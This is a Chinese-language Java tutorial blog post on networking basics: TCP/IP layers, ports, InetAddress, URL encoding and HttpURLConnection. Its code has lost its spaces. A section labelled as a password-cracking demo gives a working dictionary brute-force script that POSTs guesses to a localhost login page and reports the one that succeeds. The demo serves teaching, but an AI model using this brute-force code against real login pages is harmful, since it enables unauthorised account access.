Java学习系列(十六)Java面向对象之基于TCP协议的网络通信

TCP/IP的网络分层模型：应用层(HTTP/FTP/SMTP/POPS...)，传输层(TCP协议)，网络层(IP协议,负责为网络上节点分配唯一标识)，物理层+数据链路层)。

IP地址用于标识网络中的一个通信实体，通常这个实体可以是一台主机，也可以是一台打印机，或者是路由器的某一个端口。而基于IP协议网络中传输的数据包，都必须使用IP地址来进行标识。

IP地址与端口：IP地址就是为网络上的每个物理节点(广义的)分配一个“门牌号”。通过IP地址，可以保证网络上的数据包能正确地找到每个物理节点，但每个物理节点上可能有多个应用程序在同时对外提供服务。端口：每个应用程序在网络上通信时，占用一个端口，相当于“房间号”，端口保证了物理节点的数据包能正确找到对应的应用程序。

端口的约定：(0~65535个端口)
0~1023： 公用端口。80(HTTP)、21(FTP)、110(POP)...
1023~49152：应用程序端口。MySQL：3306；Oracle：1521
49152~65535：动态分配端口。

先了解几个常用的类：
InetAddress：此类表示互联网协议 (IP) 地址。它有两个子类：Inet4Address, Inet6Address。
InetSocketAddress：它代表了IP地址+端口号

publicclassTest{
publicstaticvoidmain(String[]args){
try{
//InetAddress代表了IP地址
InetAddressaddress=InetAddress.getByAddress(newbyte[]{
(byte)192,(byte)168,0,8});
//打印主机名
System.out.println(address.getHostName());
//打印主机地址
System.out.println(address.getHostAddress());
//测试是否可以达到该地址,有点类似于Ping
System.out.println(address.isReachable(3000));
}catch(Exceptione){
e.printStackTrace();
}
}
}

两个工具类：URLEncoder、URLDecoder。在有些场景，无法传输和存储“非西欧文字”，此时就需要用到URLEncoder。典型的像Cookie，Cookie的值就不能是中文。
举例说明1：

publicclassURLEncoderDeCoderUtil{
publicstaticvoidmain(String[]args){
Stringstr="Java学习系列(十六)Java面向对象之基于TCP协议的网络通信";
try{
//对字符进行编码
str=URLEncoder.encode(str,"GBK");
System.out.println(str);
//对字符进行解码
System.out.println(URLDecoder.decode(str,"GBK"));
}catch(UnsupportedEncodingExceptione){
e.printStackTrace();
}
}
}

URL：代表一个网络地址。
URLConnection：代表与网络地址的连接。
HttpURLConnection：基于HTTP协议的网络连接。

举例说明2：

publicclassTest{
publicstaticvoidmain(String[]args){
try{
URLurl=newURL("http://localhost:8080/test/index.jsp");
System.out.println("协议："+url.getProtocol());
System.out.println("主机："+url.getHost());
System.out.println("端口："+url.getPort());
System.out.println("资源文件："+url.getFile());
//建立于远程URL地址之间的连接,
//当我们的协议用的是http时,打开的连接实际上就是HttpURLConnection
HttpURLConnectionconn=(HttpURLConnection)url.openConnection();
conn.connect();//建立于远程服务器的连接
BufferedReaderbr=newBufferedReader(newInputStreamReader(
conn.getInputStream()));
Stringline=null;
//读取页面资源
while((line=br.readLine())!=null){
System.out.println(line);
}
}catch(IOExceptione){
e.printStackTrace();
}
}
}

破解密码简单演示：

1)准备密码字典:password.txt (文件每行随便写上几个密码就行)
2)登录页面片段：

<formaction="loginPro.jsp"method="post">
用户名：
<inputname="username"type="text"/>
密码：
<inputname="passwd"type="password"/>
<br/>
<inputtype="submit"value="登录"/>
<inputtype="reset"value="取消"/>
<br/>
</form>

3)登录处理页面片段：

<%
Stringusername=request.getParameter("username");
Stringpasswd=request.getParameter("passwd");
if(username.equals("liu")&&passwd.equals("123")){
out.print("登录成功！");
}else{
out.print("登录失败！");
}
%>

4).程序实现代码：

【注意】连接要设置相应属性。可以打开Google浏览器进入处理页面后，按CTRL+SHIFT+I，将看到：

publicclassTest{
publicstaticvoidmain(String[]args){
try{
URLurl=newURL("http://localhost:8888/test/loginPro.jsp");
BufferedReaderbr=newBufferedReader(newInputStreamReader(
newFileInputStream("f:/password.txt")));
Stringpasswd=null;
while((passwd=br.readLine())!=null){
//每次读取一行(字典文件),创建一次连接
HttpURLConnectionconn=(HttpURLConnection)url
.openConnection();
conn
.setRequestProperty("Accept",
"application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
conn.setRequestProperty("Accept-Encoding","gzip,deflate,sdch");
conn.setRequestProperty("Connection","keep-alive");
conn.setDoInput(true);
conn.setDoOutput(true);
//打开远程输出流,准备向服务器发送请求参数
PrintStreamps=newPrintStream(conn.getOutputStream());
ps.print("username=liu&passwd="+passwd);
ps.flush();
//从远程服务器读取响应
BufferedReaderbr2=newBufferedReader(newInputStreamReader(
conn.getInputStream()));
Stringline=null;
while((line=br2.readLine())!=null){
if(line.contains("登录成功")){
System.out.println("正确的密码为："+passwd);
}
}
}
}catch(IOExceptione){
e.printStackTrace();
}
}
}

TCP协议：它是一种可靠的端对端的协议。这是因为它为两台计算机之间的连接起了重要的作用：当一台计算机需要与另一台计算机连接时，TCP协议会让它们建立一个连接 用于发送和接收数据的虚拟链路。TCP协议保证了数据包在传送中准备无误。

TCP协议使用重发机制：当一个通信实体发送一个消息给另一个通信实体后，需要收到另一个通信实体确认信息，如果没有收到另一个通信实体的确认信息，则会再次重发刚才发送的信息。通过这个重发机制，TCP协议向应用程序提供可靠的通信连接，使它能够自动适应网上的各种变化，即使在Internet暂时出现阻塞的情况下，TCP也能够保证通信的可靠。